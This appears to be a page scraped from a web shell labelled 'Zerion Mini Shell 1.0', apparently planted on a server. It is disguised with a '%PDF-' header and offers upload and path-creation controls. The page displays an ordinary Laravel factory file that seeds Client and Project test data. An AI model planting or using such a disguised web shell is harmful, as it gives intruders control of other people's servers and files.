%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hrsys/api/database/factories/
Upload File :
Create Path :
Current File : /var/www/html/hrsys/api/database/factories/UserFactory.php

<?php

/** @var Factory $factory */

use App\Models\Client;
use App\Models\Project;
use Carbon\Carbon;
use Faker\Generator as Faker;
use Illuminate\Database\Eloquent\Factory;

/*
|--------------------------------------------------------------------------
| Model Factories
|--------------------------------------------------------------------------
|
| This directory should contain each of the model factory definitions for
| your application. Factories provide a convenient way to generate new
| model instances for testing / seeding your application's database.
|
*/

$factory->define(Client::class, function (Faker $faker) {
    return [
        'name'       => $faker->name,
        'address'    => $faker->address,
        'vat_number' => $faker->iban,
        'email'      => $faker->companyEmail,
        'phone'      => $faker->phoneNumber,
    ];
});

$factory->define(Project::class, function (Faker $faker) {
    $start = $faker->date('Y-m-d', Carbon::now());
    return [
        'code'       => $faker->slug,
        'name'       => $faker->name,
        'start_date' => $start,
        'end_date'   => Carbon::parse($start)
                              ->addDays($faker->numberBetween(0, 180)),
        'estimation' => $faker->numberBetween(100, 1000),
        'price'      => $faker->numberBetween(10, 25),
        'currency'   => Project::EURO,
    ];
});

Zerion Mini Shell 1.0